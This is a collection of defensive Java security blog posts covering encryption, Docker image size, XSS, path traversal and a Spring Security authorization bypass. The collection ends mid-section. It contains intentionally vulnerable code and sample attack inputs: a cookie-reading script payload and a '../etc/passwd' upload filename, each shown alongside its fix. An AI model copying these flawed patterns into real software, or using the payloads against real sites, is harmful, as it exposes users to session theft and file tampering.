Forem: Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻

Mastering Symmetric Encryption in Java: A Practical Guide for Developers

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Wed, 13 Dec 2023 12:51:16 +0000

In our interconnected world, safeguarding digital data is not just a priority; it's a mission. As Java developers, we play a crucial role in this mission, given the widespread use of Java applications across industries, from finance to healthcare. Our responsibility is to ensure that sensitive information remains confidential and secure through the power of encryption.

Why Encryption Matters for Java Developers

First things first: Do you need encryption? It may sound like a simple question, but it's fundamental. Encryption is designed to make data unreadable (ciphertext) and then reversible into its original form (plaintext). However, not everything needs to be reversible. When dealing with passwords, for instance, we use hashing, ensuring that the original text is never recoverable. So, as a Java developer, the first step is to discern when to encrypt and when to hash.

Embrace Encryption for Data Security

Java applications frequently handle sensitive data, including user information, financial transactions, and confidential records. To fulfill our duty as guardians of this data, we must master robust encryption algorithms. This not only protects our users but also safeguards the integrity of our systems.

Symmetric vs. Asymmetric Encryption: Choose Wisely

Before diving into the world of encryption, let's clarify two primary types: symmetric and asymmetric. They each have unique characteristics and use cases.

Symmetric encryption uses the same key for both encryption and decryption. It's fast but less secure when sharing keys. Asymmetric encryption, on the other hand, relies on a key pair (public and private). The public key encrypts, while the private key decrypts. While symmetric encryption excels in encrypting large data volumes, asymmetric encryption shines when securely sharing keys over networks.

Mastering Symmetric Encryption in Java

When implementing symmetric encryption in Java, it's wise to leverage hardware security modules (HSMs) for key management. This simplifies the complex task of handling encryption keys. If HSMs aren't an option, don't worry; we've got you covered.

Let's roll up our sleeves and dive into the world of symmetric encryption in Java using the javax.crypto packages.

Beware of Outdated Encryption Algorithms

Not all encryption algorithms are created equal. Some, like DES (Data Encryption Standard) and 3DES, were once considered secure but are now vulnerable due to advancements in computing and cryptanalysis techniques. Using outdated encryption algorithms in your Java applications is a recipe for disaster, potentially leading to data breaches.

import javax.crypto.*;
import javax.crypto.spec.*;
import java.nio.charset.StandardCharsets;
import java.security.*;

public class EncryptionServiceDes {

    private SecretKey secretKey;
    private Cipher cipher;

    public EncryptionServiceDes(String key) throws GeneralSecurityException {
        byte[] keyBytes = key.getBytes(StandardCharsets.UTF_8);
        DESKeySpec desKeySpec = new DESKeySpec(keyBytes);
        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
        secretKey = keyFactory.generateSecret(desKeySpec);
        cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
    }

    public String encrypt(String original) throws GeneralSecurityException {
        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
        // Encrypt the original data
        byte[] encryptedData = cipher.doFinal(original.getBytes(StandardCharsets.UTF_8));
        // Encode the encrypted data in base64 for better handling
        return Base64.getEncoder().encodeToString(encryptedData);
    }

    public String decrypt(String cypher) throws GeneralSecurityException{
        cipher.init(Cipher.DECRYPT_MODE, secretKey);
        // Decode the base64-encoded ciphertext
        byte[] encryptedData = Base64.getDecoder().decode(cypher);
        // Decrypt the data
        byte[] decryptedData = cipher.doFinal(encryptedData);
        return new String(decryptedData, StandardCharsets.UTF_8);
    }
}

Choose the Right Algorithm and Cipher Mode

For symmetric encryption, heed the advice of OWASP: opt for AES (Advanced Encryption Standard) with a key length of at least 128 bits, preferably 256 bits. But don't stop there—choose a secure mode too. Avoid ECB (Electronic Codebook) mode, as it lacks message confidentiality. Instead, embrace modes like CCM (Counter with CBC-MAC) or GCM (Galois/Counter Mode) that ensure data's integrity, confidentiality, and authenticity.

import javax.crypto.*;
import javax.crypto.spec.*;
import java.nio.charset.StandardCharsets;
import java.security.*;
import java.util.Base64;

public class EncryptionServiceAESGCM {
    private SecretKey secretKey;
    private Cipher cipher;

    public EncryptionServiceAESGCM(String key) throws GeneralSecurityException {
        byte[] keyBytes = key.getBytes(StandardCharsets.UTF_8);
        secretKey = new SecretKeySpec(keyBytes, "AES");
        cipher = Cipher.getInstance("AES/GCM/NoPadding");
    }

    public String encrypt(String original) throws GeneralSecurityException{
        byte[] iv = new byte[16]; // Initialization Vector
        SecureRandom random = new SecureRandom();
        random.nextBytes(iv); // Generate a random IV
        cipher.init(Cipher.ENCRYPT_MODE, secretKey, new GCMParameterSpec(128, iv));
        byte[] encryptedData = cipher.doFinal(original.getBytes());
        var encoder = Base64.getEncoder();
        var encrypt64 = encoder.encode(encryptedData);
        var iv64 = encoder.encode(iv);
        return new String(encrypt64) + "#" + new String(iv64);
    }

    public String decrypt(String cypher) throws GeneralSecurityException{
        var split = cypher.split("#");
        var decoder = Base64.getDecoder();
        var cypherText = decoder.decode(split[0]);
        var iv = decoder.decode(split[1]);
        var paraSpec = new GCMParameterSpec(128, iv);
        cipher.init(Cipher.DECRYPT_MODE, secretKey, paraSpec);
        byte[] decryptedData = cipher.doFinal(cypherText);
        return new String(decryptedData);
    }
}

Identifying Weak Encryption Algorithms

To detect insecure encryption, we can turn to tools like Snyk. By connecting your code repository to Snyk, it identifies insecure cryptographic algorithms and suggests secure alternatives, like AES encryption.

Snyk Code Git Integration

Continuous Improvement is Key

Updating encryption algorithms is crucial, but remember that security evolves. Regularly scan your code for new security issues using static analysis security testing (SAST) tools like Snyk Code for Java. Stay ahead of potential threats and keep your data secure.

Snyk IntelliJ IDEA Plugin

Empower Your Java Development with Snyk Code

Snyk Code is your ally in the battle for secure code. It's a state-of-the-art static application security testing (SAST) tool that identifies vulnerabilities within your codebase. Supporting various programming languages, including Java, Snyk Code offers real-time feedback, integrates into your CI/CD pipeline, and supports popular IDEs. Use it to catch and fix security issues early in your development cycle.

Conclusion: Be a Secure Code Warrior

As Java developers, we are the guardians of data security. Mastering symmetric encryption in Java is not just a skill; it's a responsibility. Choose the right encryption algorithms, stay updated, and empower yourself with tools like Snyk Code. Together, we can ensure a safer digital world for all.

Disclaimer: This article provides educational information about encryption practices. Always follow best practices and consider the latest security recommendations for your specific use cases.

Using JLink to create smaller Docker images for your Spring Boot Java application

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Fri, 22 Sep 2023 07:22:38 +0000

originally posted on Snyk.io

Containers bring new flexibility and agility to software development and deployment. However, they also introduce a new attack surface that malicious actors can exploit. A compromised container can give an attacker access to other containers and even the host system. Smaller images that contain fewer artifacts are already a great help in achieving a smaller attack surface.

In this blog post, we'll present an in-depth exploration of utilizing JLink to optimize Docker image sizes, enhancing application security and performance. We'll showcase how to use JLink and integrate it with Docker to efficiently deploy your Spring Boot or general Java applications.

Introduction to JLink

Java is one of the most used programming languages for enterprise application development globally. However, developers often struggle with the size of the Docker images when deploying Java applications in Docker containers. One of the ways to solve this problem is to use JLink, a tool introduced in JDK 9.

JLink (Java Linker) is a command-line tool that assembles and optimizes a set of modules and their dependencies into a custom runtime image. This essentially means it creates a minimal Java runtime environment with only the necessary modules required by your application.

$ jlink --module-path $JAVA_HOME/jmods:mlib --add-modules my.module --output myRunTime

In the above command, my.module is your module, and myRuntime is the custom runtime image that JLink will create.

The role of JLink in creating smaller Docker images

When creating Docker images for Java applications, the size of the image is often a concern — particularly for Spring Boot applications, which come with many dependencies. A large Docker image can lead to longer startup times, increased storage costs, and slower deployment processes.

In legacy versions of Java, the Java Development Kit (JDK) came with a Java Runtime Environment (JRE). Only the JRE was needed to run the created Java artifact. Therefore, in the past, it was common to use the JRE in your Docker image or choose a JRE base image for your containers. Newer versions of Java don't always come with a JRE, although some vendors might still create a JRE and corresponding base images. You can use these or a more specific Java runtime tailored to your application.

JLink enables you to create a minimal Java runtime with only the necessary modules. By doing so, it significantly reduces the size of your Docker image. For example, a standard Java runtime environment might be over 200 MB, but with JLink, you can bring it down to less than 50 MB.

Using JLink for a Spring Boot Java application

Spring Boot creates a fat JAR for your applications containing all the dependencies. In addition, many Spring Boot applications lack a module declaration. This does not have to be a problem, but we need to determine which modules the application needs and all its dependencies.

Using Jdeps to find the module

Jdeps is a Java tool that shows the package-level or class-level dependencies. The tool, introduced in Java 8, can be used to understand an application's dependencies, which can then be used to create a custom runtime image using JLink.

When ensuring that all our dependencies are located in one directory, we can use jdeps to print a summary of the dependencies.

jdeps -cp 'mydeps/lib/*' -recursive --multi-release 17 -s target/MyJar.jar

Similarly, we can use jdeps to print all module dependencies recursively for the Spring Boot application and the dependencies.

jdeps --ignore-missing-deps -q  --recursive  --multi-release 17  --print-module-deps  --class-path 'mydeps/lib/*'  target/MyJar.jar

The output generated by jdeps enables JLink to create a Java Runtime that only contains the modules needed for this Spring-Boot application.

Output Spring Boot dependencies into a folder

As mentioned, Spring Boot creates a fat JAR that includes all dependencies. However, the dependencies are packed in a particular way inside the JAR and, therefore, are not easy to access by jdeps. There are two simple solutions to get the dependencies with jdeps.

Unpack the fat JAR file created by Spring Boot.
- This option works great if you already have the build artifact created and are not willing or able to rebuild the application. The dependencies will be unpacked into /BOOT/libs/.
Use a plugin in your build tool that copies the dependencies to a specific folder.
- In Maven, this can, for instance, be achieved by using the maven-dependency-plugin. In the example below, the dependencies are copied to the /target/dependency folder after Maven finishes the package phase.

<project>
    <!-- ... other configurations ... -->

    <build>
        <plugins>
            <!-- Add the maven-dependency-plugin -->
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-dependency-plugin</artifactId>
                <version>3.1.2</version>
                <executions>
                    <execution>
                        <id>copy-dependencies</id>
                        <phase>package</phase>
                        <goals>
                            <goal>copy-dependencies</goal>
                        </goals>
                        <configuration>
                            <!-- Configure the output directory for the dependencies -->
                            <outputDirectory>${project.build.directory}/dependency</outputDirectory>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

    <!-- ... other configurations ... -->
</project>

Building a Docker image with a custom Java Runtime

So now, let's combine jdeps and JLink to build a custom Java Runtime. With this runtime, we can create a perfect, minimal Docker image specifically for a Spring Boot application.

FROM maven:3-eclipse-temurin-17 as build
RUN mkdir /usr/src/project
COPY . /usr/src/project
WORKDIR /usr/src/project
RUN mvn package -DskipTests
RUN jar xf target/JavaCoffeeShop.jar
RUN jdeps --ignore-missing-deps -q  \
    --recursive  \
    --multi-release 17  \
    --print-module-deps  \
    --class-path 'BOOT-INF/lib/*'  \
    target/JavaCoffeeShop.jar > deps.info
RUN jlink \
    --add-modules $(cat deps.info) \
    --strip-debug \
    --compress 2 \
    --no-header-files \
    --no-man-pages \
    --output /myjre
FROM debian:bookworm-slim
ENV JAVA_HOME /user/java/jdk17
ENV PATH $JAVA_HOME/bin:$PATH
COPY --from=build /myjre $JAVA_HOME
RUN mkdir /project
COPY --from=build /usr/src/project/target/JavaCoffeeShop.jar /project/
WORKDIR /project
ENTRYPOINT java -jar JavaCoffeeShop.jar

In the example above, I utilized a multistage Docker build. The initial building stage is based on an eclipse-temurin JDK 17 image containing Maven. This stage is used to:

Create the Java artifact. Using Maven, I create the fat executable JAR file that contains the complete application.
Unpack the JAR file to have all the dependencies. This is only needed if you don’t use the maven-dependency-plugin as described earlier. If you included it, you can skip this step
Use jdeps to get the necessary modules. Point to the file containing all the dependency JAR files and the final artifact, and save the list in deps.info.
Run JLink to create a custom Java Runtime. Using the deps.info as input and storing it in /myjre. We only add the modules needed to JLink and remove debug info, manual pages, and header files.

The second and final stage builds the production image based on a debian:stable-slim image.

Set environment variables. Set the JAVA_HOME to the path I’ll copy myjre to, and add JAVA_HOME to the PATH.
Copy the Java Runtime created by JLink. Reference the first stage and copy the custom Java Runtime to the location defined as JAVA_HOME.
Copy the created Java artifact. The created fat executable Spring Boot JAR is copied to the dedicated project directory.
Set Entrypoint

JLink offers several advantages when it comes to creating Docker images for Spring Boot Java applications:

Reduced Image Size: As mentioned earlier, JLink can help reduce the size of your Docker image, leading to faster deployment and reduced storage costs.
Faster Startup Times: A smaller Docker image means that your application can start up faster, which is crucial for applications that need to scale quickly.
Security: By including only the necessary modules, you reduce the attack surface of your application. Fewer modules mean fewer potential security vulnerabilities.

Speaking of security, it's essential to mention the role of Snyk in ensuring the security of your applications. Snyk is a developer security tool that can scan your source code, open source packages, container images, and cloud configurations for vulnerabilities. With Snyk Container and Snyk Open Source, you can detect and fix security issues in your application and its dependencies — including those in your Docker images.

$ snyk container test your-repo/your-image:tag

In the above command, your-repo/your-image:tag is your Docker image. Snyk will scan it and report any detected vulnerabilities, along with suggestions on how to fix them.

Create smaller and more secure Docker images for Java applications

Be aware that the examples in this blog post are meant to showcase how to use JLink to create a more concise Docker image for your Java projects. The examples shown do not meet all the best practices for secure Docker images. If you want to know more about that, take a look at our “10 best practices to build a Java container with Docker” article for some inspiration.

In conclusion, JLink is a powerful tool that can help you create smaller, more secure Docker images for your Spring Boot Java applications. Coupled with security tools like Snyk, you can ensure your applications are performant and secure. So, why wait? Sign up for Snyk today and start securing your applications.

Preventing Cross-Site Scripting (XSS) in Java applications with Snyk Code

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Wed, 26 Apr 2023 19:35:24 +0000

Java is a powerful backend programming language that can also be used to write HTML pages for web applications. However, developers must know the potential security risks associated with Cross-Site Scripting (XSS) attacks when creating these pages. With the rise of modern templating frameworks, preventing security attacks through proper input validation and encoding techniques has become easier. However, when developers choose to create their own HTML pages without using a templating framework, there is an increased risk of introducing vulnerabilities.

Using, for instance, the HttpServletResponse object in a Spring MVC application to write content directly to the response can create opportunities for malicious users to inject code into the page, leading to potential XSS attacks. It is, therefore, essential for developers to take steps to ensure the security of their Java web applications remains high by implementing appropriate measures to prevent XSS vulnerabilities when writing HTML pages.

A solution like the one below is an easy way to implement a server-side rendered page without any fancy framework that normally comes with specific instructions. However, there are obviously some downsides to this method.

Writing HTML output in Spring MVC without a templating framework

Suppose you have a web application that takes a product’s name and displays it on a web page using the HttpServletResponse object. Here's an example of how you might implement this feature in a Spring MVC controller:

@GetMapping("/direct")
public void directLink (@RequestParam String param, HttpServletResponse response) throws IOException {
   Product prod = productService.getProductByName(param);

   response.setContentType("text/html");
   var writer = response.getWriter();
   writer.write(head);
   writer.write("<div class=\"panel-heading\"><h1>"+ param + "</h1></div>");

   String output = "<div class=\"panel-body\">" +
           "<ul>" +
           "<li>%s</li>" +
           "<li>%s</li>" +
           "<li>%s</li>" +
           "</ul>" +
           "</div>";

   writer.write(String.format(output, prod.getDescription(), prod.getProductType(), prod.getPrice()));
   writer.write(foot);

   response.getWriter().flush();
}

Can you figure out what sorts of security vulnerabilities may be introduced with the above Java code?

Finding XSS with Snyk Code

When closely looking at the function above, you might already recognize at least one XSS vulnerability and maybe even two. When scanning my application with Snyk Code we get notified of two different XSS problems in this method.

There are multiple ways to leverage Snyk Code. Let’s take a look at three different examples. The most direct way of getting feedback from Snyk Code to a developer is by installing a plugin in the IDE. We have plugins for many different IDE’s available. In the following example, I show how the IntelliJ plugin helps me find XSS problems during development.

Intellij plugin output:

Another option is to run Snyk Code using the Snyk CLI. Running command snyk code test from the terminal will give you an output like below. This method is useful on your local machine or as part of your automatic build in a CI/CD pipeline.

CLI output:

The third option I want to show you, is the web UI. For this output I used the git integration with Snyk and connected my GitHub repository to the Snyk Web UI using the dashboard at https://app.snyk.io. This solution scan’s the code that is committed to my repository for security vulnerabilities.

Web UI output:

All three different scanning options show me that there are two distinct XSS security issues I need to address — with Snyk Code pinpointing their exact location in my code. Let’s break them down and see how we can mitigate them.

Reflective XSS

Reflective XSS is a type of XSS attack that occurs when a user injects malicious code into a web application that is then reflected back to the user as part of a response. In the example I provided, if the user input was not properly validated or sanitized before being written to the response, a malicious user could inject a script that would be executed by other users who view the web page. This type of XSS attack is often used to steal user data, modify website content, or perform other malicious actions.

The code above retrieves the user's name from the HTTP request parameter and then writes it directly to the HttpServletResponse object using:

writer.write("<div class=\"panel-heading\"><h1>"+ param + "</h1></div>")

This code is vulnerable to XSS attacks because it does not properly validate or sanitize the user input. For example, a malicious user could inject HTML or JavaScript code into the "name" parameter, which would then be executed by other users who view the web page.

For instance: .../direct?param=<script>alert(document.cookie);</script> might reveil your personal cookie information. This means we can also send this information to another server without you knowing it.

Snyk Code caught this mistake for me by pointing out the XSS on line 93.

Stored XSS

Stored XSS, on the other hand, is a type of XSS attack where the malicious code is stored on the server and then served to all users who access the affected page. In the example I provided, if the user input was not properly validated or sanitized and was instead stored in a database, a malicious user could inject a script that would be served to all users who view the affected page. This type of XSS attack can be particularly dangerous because it can affect a large number of users and may persist even after the initial injection has been fixed.

The code above retrieves a product from the ProductService and then displays them on the fields as part of the output string. However, this code is vulnerable to Stored XSS attacks because it does not properly validate or sanitize the input that comes from the database. Sanitization is particularly important if you aren’tt sure who has permission to write the database. For example, a malicious user could submit a product desciption that includes HTML or JavaScript code, which would be stored in the database and served to all users who visit the product view.

Snyk Code pointed out this potential XSS problem on line 103, where we insert the product.description into the output String without validating or sanitizing it.

Mitigating XSS vulnerabilities with Snyk Code

To prevent XSS vulnerabilities, it is important to properly validate and sanitize user input before writing it to the response. Snyk Code already helps us by pointing out possible solutions. One way to do this is to use a library like Apache Commons Text to encode the input and prevent malicious code from being executed.

Using the escapeHtml4() function, we can make sure that code in both reflective and stored XSS is escaped so that it will not be executed when loading the page.

Obviously, more libraries can perform similar escaping. In addition to Apache Commons Text, you can look at the OWASP Encoder. If you work with Spring, you can also use Spring's HtmlUtils.htmlEscape.

When using Apache Commons text, the properly escaped code could look like this:

@GetMapping("/direct")
public void directLink (@RequestParam String param, HttpServletResponse response) throws IOException {
   Product prod = productService.getProductByName(param);

   response.setContentType("text/html");
   var writer = response.getWriter();
   writer.write(head);
   writer.write("<div class=\"panel-heading\"><h1>"+ StringEscapeUtils.escapeHtml4(param) + "</h1></div>");

   String output = "<div class=\"panel-body\">" +
           "<ul>" +
           "<li>%s</li>" +
           "<li>%s</li>" +
           "<li>%s</li>" +
           "</ul>" +
           "</div>";

   writer.write(String.format(output,
             StringEscapeUtils.escapeHtml4(prod.getDescription()),
             StringEscapeUtils.escapeHtml4(prod.getProductType()),
             StringEscapeUtils.escapeHtml4(prod.getPrice())));

   writer.write(foot);

Be careful with templating frameworks

Templating frameworks like Thymeleaf can help protect agains XSS vulnerabilities. Thymeleaf is a popular templating engine for Java that includes built-in support for HTML escaping, which helps prevent XSS attacks by encoding any user input that is included in the rendered HTML.

However it strongly depends on how you create the template. For example, here's how you might use Thymeleaf to render a product similar to the example before:

<div class="product" th:each="product : ${products}">
  <p th:text="${product.name}"></p>
  <p th:text="${product.type}"></p>
  <p th:text="${product.pric}"></p>
  <p th:utext="${product.descriptiont}"></p>
</div>

In this example, the th:text attributes will be escaped, but the th:utext attribute won’t. This th:utext attribute renders the comment text without escaping any HTML tags or special characters and is potentially vulnerable to XSS. When using a particular framework, knowing how certain elements behave is essential.

Catching XSS before you deploy to production

Preventing XSS attacks is a critical concern for developers working on Java web applications. Identifying and addressing XSS vulnerabilities as early as possible in the development process is essential. Although sanitizing user input can effectively mitigate XSS attacks, it may not always be sufficient.

Look at resources like the OWASP XSS Cheat Sheet and the Snyk Learn lesson on XSS to stay up-to-date with the latest threats and best practices for XSS prevention.

Moreover, it's important to leverage the right tools to catch XSS mistakes and other security issues before they make it to production. Snyk Code is a valuable free tool for identifying potential security vulnerabilities early in the development cycle. By taking a proactive approach to XSS prevention and using the right resources and tools, developers can help ensure the security and integrity of their Java web applications.

Data leak in the Netherlands: What developers should learn from this

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Mon, 03 Apr 2023 09:50:22 +0000

Currently, there are a series of data leaks going on in the Netherlands. Blauw, a prominent market research firm in the Netherlands, reported a data leak earlier this week. Blauw offers qualitative market research for companies and events, and works with many big Dutch brands.

The current leak of customer data has already resulted in personal data exposure for a substantial number of Dutch consumers. At this time, these are the known incidents related:

VodafoneZiggo, one of the biggest telecom, tv, and internet providers in NL: 700,000 customers exposed (reference EN, NL)
NS, the Dutch National Railways_: 780,000 customers exposed (reference EN, NL)
Vriend van Amstel Live, a concert format by the Heineken company: 22,000 customers exposed (reference NL)

With the variety of brands that Blauw does market research for, these numbers are likely just the tip of the iceberg.. However, some clients — like Albert Heijn, Etos, bol.com, and Vattenfall — report that they were not affected by the data breach.

What can developers learn from data leaks like this?

As we do not yet know the reason for the data leak and Blauw has refused to disclose their software supplier, there’s not much sense speculating. However, we can still learn a lot from a data breach like this. The population of the Netherlands is only 17.5 million people — which makes the above numbers substantial! The effect will likely be massive and certainly qualifies as national news. The newspaper “Algemeen Dagblad” writes that possible millions of Dutch citizens are likely victims of this data leak.

Data leaks can create major security concerns, and as developers of software systems we need to take our responsibility seriously. When we create solutions for our applications, these solutions need to be scalable, maintainable and secure. Working in autonomous engineering teams is efficient, but a secure mindset while developing is critical nowadays. Just creating a solution that works isn’t good enough anymore.

Oddly, issues like cross-site scripting and SQL injection are still among the top vulnerabilities in modern-day applications and have been for years — which likely means that developers are generally not taking enough security measures or haven’t educated enough to tackle these problems.

Next to this is the supply chain. The code developers write is just a small fraction of the actual applications. Open source frameworks and libraries often do the heavy lifting and help ensure rapid development. However, just like cars and buildings in the physical world, open source software needs maintenance. Strategies like updating libraries to newer versions should be a regular exercise.

What should developers do?

Thankfully, there’s a lot developers can do to protect their applications from similar data leaks..

Educate yourself on common vulnerabilities.
Snyk Learn is a great free platform with multiple lessons and learning paths like the OWASP top 10 path covering common vulnerabilities.
Use tooling to scan your custom code for security vulnerabilities.
Snyk Code a great free option that can analyze your code in your IDE or in your pipeline to catch issues like path traversal or SQL injection
Correctly review code. Make ample time and the correct personnel are available to complete code reviews. Check this cheat sheet for more information
Keep your dependencies and frameworks up to date. Check out this blogpost to learn more about creating a solid dependency management strategy.
Refine your build and release system so you can easily rebuild and redeploy, or distribute, your application once a vulnerability pops up.
Scan your open source libraries for known vulnerabilities. Snyk Open Source is a great place to start.
Monitor your application when in production for new vulnerabilities.
Problems get discovered over time. Keep an eye on what’s in production right from your CLI with Snyk Monitor.

As a developer, you have a responsibility to ensure the code you write is secure since you’re the one holding the steering wheel and implementing the solutions.

It’s impossible to fully prevent data leaks like this one due to the multitude of circumstances that drive them. However, most breaches and data leaks are created by a combination of common security problems. Reducing the number of potential attack vectors is the responsibility of everyone working with and on it, including developers. Collaboration and communication around secure coding practices keeps security incidents — and news headlines — to a minimum.

Mitigating path traversal vulns in Java with Snyk Code

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Thu, 09 Mar 2023 16:17:34 +0000

Path traversal is a type of security vulnerability that can occur when a web application or service allows an attacker to access server files or directories that are outside the intended directory structure. This can lead to the unauthorized reading or modification of sensitive data. In the context of file uploads, a path traversal vulnerability can occur when an application fails to properly validate the file path specified by the user, which can allow the attacker to upload a malicious file with a filename that gives them access to restricted files on the server.

Preventing path traversal in file uploads is crucial for the security of Java applications, as it helps to protect sensitive data and prevent unauthorized access to restricted files and directories. In this blog post, we'll explore path traversal in file uploads in more detail and show you how to prevent this vulnerability in Java applications with Snyk Code.

Whether you're a developer or simply interested in learning more about security in Java, this post will provide you with information and insights to help keep your Java applications secure.

Understanding path traversal in file uploads

Imagine an application that allows users to upload profile pictures. The application stores the profile pictures in a directory on the server, such as /images/profiles/. If the application fails to validate the file name specified by the user properly, an attacker could upload a malicious file with a file name like ../../etc/passwd. This would allow the attacker to access sensitive system files outside the intended directory structure.

Take the example below from a Spring Boot application using Thymeleaf.



@PostMapping("/uploadimage")
public String uploadImage (Model model, @RequestParam("image") MultipartFile file) throws IOException {
   var name = file.getOriginalFilename().replace(" ", "_");
   var fileNameAndPath = Paths.get(UPLOAD_DIRECTORY, name);
   Files.write(fileNameAndPath, file.getBytes());
   model.addAttribute("msg", "Uploaded images: " + name);
   return "person/upload";
}

Web forms are a very common to upload images. When uploading, we use the originalFilename from the incoming MultipartFile. If we intercept and inspect the HTTP post call, we see that filename is just metadata in this HTTP request shown on line 24.

With the right tools, it is easy to change the filename to anything we want! When we change the filename to ../../../../../../../etc/passwd, our code will upload the file to images/profiles/../../../../../../../etc/passwd. The path will be traversed to the root, and the file will be overwriting /etc/passwd.

How Snyk Code detects path traversal.

Snyk Code is a real-time SAST tool that helps Java developers identify vulnerabilities in their applications -- including path traversal in file uploads. The tool uses a static analysis based on an advanced machine learning model to scan your code and identify potential security risks.

Regarding path traversal, Snyk Code can help you identify places in your code where user-specified file paths are used and proper validation is not in place. For example, when connecting my GitHub repository to Snyk, Snyk Code found the path traversal issue for me in the Web UI.

Next, I'm using the Snyk plugin for IntelliJ IDEA with Snyk Code enabled. Scanning on my local machine during development already pinpointed the path traversal problem in my file upload. Additionally, it also gave me some suggestions for possible mitigation actions.

By using Snyk Code, you can proactively identify and fix these path traversal vulnerabilities before they are exploited, helping to ensure the security of your application and the data it handles.

In summary, Snyk Code helps Java developers identify path traversal vulnerabilities in file uploads by scanning their code and identifying areas where proper validation is not in place. This can help ensure the security of your application and protect against potential attacks.

Mitigating path traversal in file uploads

The easiest way to fix a path traversal vulnerability is to avoid using the file.getOriginalFilename(). If you generate a name yourself, you have absolute control over the location the file gets stored because it is influenced by user input.

However, if you want to preserve the original file's name, we need to check if the location where the file gets stored is where we want it to be. Snyk Code (see the IDE plugin example) already hinted that we can normalize path.

Let's change our previous example to check if the normalized path at least starts with our intended upload folder. This way, we prevent path traversal issues.



@PostMapping("/uploadimage")

public String uploadImage (Model model, @RequestParam("image") MultipartFile file) throws IOException {

   var name = file.getOriginalFilename().replace(" ", "_");

   var fileNameAndPath = Paths.get(UPLOAD_DIRECTORY, name);

if (!fileNameAndPath.normalize().startsWith(UPLOAD_DIRECTORY)) {

        throw new IOException("Could not upload file: " + name);

   }

Files.write(fileNameAndPath, file.getBytes());

   model.addAttribute("msg", "Uploaded images: " + name);

   return "person/upload";

}

Preventing path traversal vulnerabilities is essential.

Path traversal vulnerabilities are a serious threat to the security of Java web applications, and are currently among the top security issues Snyk finds in Java code. Developers need to be aware of and understand how to prevent them. By implementing proper validation and using tools like Snyk Code to identify potential vulnerabilities, developers can help ensure the security of their applications and protect against the risks of path traversal attacks. It's vital to remember that security is an ongoing process, and staying aware and proactive in identifying and mitigating vulnerabilities is key to maintaining the security of your Java applications.

Exploring the Spring Security authorization bypass (CVE-2022-31692)

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Thu, 15 Dec 2022 21:19:20 +0000

In early November, a new authorization bypass vulnerability was found in Spring Security 5. Now, before we panic let’s look into this problem to see if you are vulnerable. Although the vulnerability is classified as high , there is only a specific set of use cases that are vulnerable. This means that not everyone is vulnerable, and I will show that in a second. Regardless, the advice is to upgrade to the newer version of the Spring Security. This would be version 5.6.9 or beyond or 5.7.5 and beyond.

What is an authorization bypass

Basically, the name very accurate. Say we have a webpage in our Spring Boot application that should only be accessible for users that are configured to have the admin role. An authorization bypass means that a non-admin user could access that page in certain use cases without having this admin role (or better). Obviously, this is unwanted and can lead to a number of things including data leaks and unauthorized changing, creating, or deleting data.

How does this Spring Security authorization bypass work?

With Spring Security, it is possible to create a SecurityFilterChain to set permission for specific endpoints. In newer versions of Spring, it looks something like this:



@Bean
  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
  http
     .authorizeHttpRequests((authorize) -> authorize
        .antMatchers("/").permitAll()
        .antMatchers("/forward").permitAll()
        .antMatchers("/admin").hasAuthority("ROLE_ADMIN")
        .shouldFilterAllDispatcherTypes(true)
     )
     .httpBasic().and()
     .userDetailsService(userDetailsService());
      return http.build();
  }

In this example above, I used the antMatchers to set the permissions of the URL patterns irrespective of the HTTP method. Everyone has access to / and /forward. Only users with the admin role have access to /admin URL.

So far, so good. Nothing fancy going in and it works like a charm. Now let’s take a look at the implementation of the forward endpoint in my controller.



@GetMapping("/forward")
public String redirect() {
  return "forward:/admin";
}

In the implementation above, the forward endpoint forwards the request to the admin endpoint. Next to this, I added all dispatcher types to my Spring Security configuration, as only request, async, and error are covered by default. I added the following line in the application.properties of my Spring Boot application.



spring.security.filter.dispatcher-types = request, error, async, forward, include

While you might assume that this is fine and that the admin endpoint is covered in the filters, it turns out that I now can access the admin endpoint via /forward without having the admin role or logging in at all. Even though we explicitly added forward to our configuration and enable shouldFilterAllDispatcherTypes(), we can still access the admin page. By using forward and including all dispatch types, it is possible to bypass authorization and get access to a higher privilege-secured endpoint.

The reason this is possible in Spring Security 5, the default behavior is to not apply the filters more than once to a request. Therefore, users have to configure Spring Security to do that explicitly. In addition, the FilterChainProxy is also not configured to be invoked on forward and include dispatcher types.

The problem also occurs in older versions of Spring Security 5

If you are running an older version of a Spring application, you most likely have an older version of Spring Security as well. An old Spring Boot application I maintain for workshops is based on version 2.2.0-RELEASE, which ships with Spring Security 5.2.0-RELEASE.

In these older versions, we had to configure security a bit differently. We had to create a configuration class that extends the WebSecurityConfigurerAdapter interface and overwrite the configure() method to implement similar filters as mentioned previously.



@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {

   @Override
   protected void configure(HttpSecurity http) throws Exception {
       http
               .authorizeRequests()
               .antMatchers("/").permitAll()
               .antMatchers("/forward").permitAll()
               .antMatchers("/admin").hasAuthority("ROLE_ADMIN");
   }
}

In the example above we recreated a similar vulnerability as before. Basically, we are using the same filter chain where the problem occurs.

How problematic is this issue in Spring Security

As always, it depends on how you use it. Although CVE-2022-31692 has a 9.8 ( critical ) score according to the National Vulnerability Database (NVD), at Snyk we score it a bit lower at 7.4 which makes it a high-severity vulnerability.

Although the vulnerability is pretty easy to exploit and widely available, only a specific set of use cases are actually vulnerable. If you are depending on the forward and include dispatch types and you are using the AuthorizationFilters like in the examples above, you could have an issue. If in these dispatch types you call an endpoint that has a higher privilege level and you use the AuthorizationFilter to specify privileges, this might indeed end up in authorization bypass.

So this means there are a lot of prerequisites before you are actually impacted by this vulnerability. For a full list please check our advisory on this security issue in the Snyk Vulnerability Database.

What you can do to mitigate this security problem

